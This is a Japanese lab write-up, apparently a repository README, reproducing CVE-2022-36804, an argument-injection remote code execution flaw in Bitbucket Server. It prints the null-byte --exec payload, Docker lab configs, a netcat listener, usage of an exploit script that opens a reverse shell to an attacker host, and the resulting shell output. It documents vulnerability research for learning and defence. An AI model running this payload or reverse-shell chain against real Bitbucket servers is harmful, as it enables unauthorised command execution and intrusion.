CVE-2022-36804(Bitbucket RCE)のフルチェーン再現。Docker化されたラボ環境、nullバイトインジェクション検証用のpspy64モニタリング、カスタムBashエクスプロイトスクリプトを含む。Assetnoteの調査に基づく。
CVE-2022-36804 は、Atlassian Bitbucket Server および Data Center の REST API における高/重大度の引数インジェクション脆弱性です。
公式の NVD(National Vulnerability Database)基本スコアは、読み取り権限が必要(PR:L)という前提に基づく 8.8 (High) ですが、本分析では 9.8 (Critical) の欠陥(PR:N)として扱います。ターゲットリポジトリで公開アクセスが有効になっている場合(一般的な構成です)、エクスプロイトベクトルは完全に事前認証のみで悪用可能になります。
このリポジトリは、Assetnote が公開した技術調査に直接基づく、エクスプロイトのフルチェーンラボ再現を文書化しています。
本分析は、環境オーケストレーションとセキュリティフィルタの回避から、対話型リバースシェルの取得に至るまでの過程を詳述します。当初の発見で概説されているように、この欠陥によりリモートコマンド実行 (RCE) が可能になり、ターゲットリポジトリで公開アクセスが有効になっている場合、事前認証で悪用される可能性があります。
この脆弱性は、Java アプリケーションランタイムと Linux オペレーティングシステム間の「サニタイゼーションインピーダンスミスマッチ」に起因します。
Assetnote の調査で強調されているように、Bitbucket は NuProcess ライブラリを使用して Git コマンドを構築・実行します。ユーザーが /archive エンドポイントに prefix パラメータを提供すると、Bitbucket は引数リストを OS に渡す前にヌル文字 (%00) を除去しません。
execve() がコマンドを処理するとき、文字列を %00 の位置で切断します。NuProcess がデータを渡す方法のため、OS はヌルバイト以降のすべてを完全に新しいコマンドライン引数として扱います。--exec=... をインジェクトすることで、攻撃者は意図された --prefix フラグから脱出し、git archive プロセスに任意のバイナリを実行させ、リモートコマンド実行 (RCE) につなげます。
エクスプロイトが単純な URL パラメータから OS レベルのコマンドへどのように移行するかを理解するには、ペイロードの構造を分解し、「配列シフト」を観察する必要があります。
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| コンポーネント | 目的 | 技術的役割 |
|---|---|---|
prefix=x | 必須条件 | git archive には prefix が必要。x はプレースホルダーとして機能。 |
%00 | ナイフ | ヌルバイト。Java はそのまま渡すが、C ベースの Linux カーネルはここで文字列を終端する。 |
--exec=... | RCE トリガー | 危険なフラグ。Git の組み込み機能を悪用して外部プログラムを実行する。 |
touch ... | アクション | 実行されるコマンド。RCE を検証するための安全な PoC。 |
--remote=... | ゴミ箱 | Bitbucket が追加したコミット ID を有効な引数として消費し、構文エラーなしでコマンドがクリーンに実行されることを保証する。 |
これは脆弱性の核心を示しています:データ(ディレクトリプレフィックス)がどのように命令(コマンドフラグ)へと変換されるかです。
Java の実行コンテキスト(初期状態):
Java は、単一の長い文字列を 3 番目の引数として認識します。
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Linux カーネルでの実行(エクスプロイト状態):
カーネルの execve() システムコールは、すべてのヌルバイト (\0) で文字列を分割し、インジェクトされたフラグをプロセスの引数配列内のそれぞれ独立した位置へシフトします。
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
現実的な攻撃対象領域をシミュレートするため、ラボ環境は Docker ブリッジネットワーク(hacking_net)内に隔離されたデュアルコンテナアーキテクチャを採用しています。この構成により、ホストシステムに影響を与えることなく、管理された環境でエクスプロイトと監視を実行できます。
被害者ノード: Atlassian Bitbucket Server バージョン 7.17.1 を実行。コンテナは意図的に bitbucket-victim と命名されています。これは、Apache Tomcat の RFC 7230 強制への準拠を確保するために行われた重要な設計改善を反映しています。アンダースコアの代わりにハイフンを使用することで、ペイロード実行中に発生する「Invalid Character」400 エラーを回避します。これは、調査段階で特定・解決された重要な技術的ハードルです。
攻撃者ノード: 調整された Kali Linux ローリングイメージ。標準イメージとは異なり、このノードにはこのエクスプロイトチェーンに必要な特定のツールセットが事前にプロビジョニングされています: リポジトリ操作用の git、ペイロード配信用の curl、リバースシェルをキャプチャするための netcat-traditional です。
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
上記で提供された docker-compose.yml を使用して環境をすでにプロビジョニングしている場合は、同梱の exploit.sh スクリプトを使用して脆弱性を検証し、数秒でリバースシェルを取得できます。
1. リスナーの準備
Kali 攻撃者ノード(またはホストマシン)で、シェルをキャッチするための netcat リスナーを起動します:
nc.traditional -lvnp 4444
2. エクスプロイトの実行
ターゲットの Bitbucket IP、プロジェクト/リポジトリ名、リスナーの詳細を指定してスクリプトを実行します:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. アクセスの確認
スクリプトの実行後、netcat ターミナルを確認してください。bitbucket ユーザーとしての対話型セッションが表示されるはずです。
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
以下は、ラボセッションの生の実行ログであり、環境セットアップから完全に対話型のリバースシェル取得までの過程と、アプリケーションロジックや Web サーバーの制約を回避するために必要なトラブルシューティング手順を詳述しています。
まず、脆弱な環境を起動し、ターゲットアプリケーションを構成しました。
docker-compose up -d --build を実行し、Kali 攻撃者コンテナと Bitbucket 被害者コンテナをデプロイしました。http://localhost:7990 に移動し、Bitbucket のセットアップルーチンの初期化を待ちました。CVE の新しいプロジェクトと、Repo1 という名前の空のリポジトリを作成しました。
ブラインドテストに頼るのではなく、インジェクションをリアルタイムで検証するために、基盤となる Linux プロセスを監視する pspy64 をデプロイすることにしました。
pspy64 バイナリをダウンロードしました。docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0)を起動し、実行権限を適用してモニターを起動しました:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64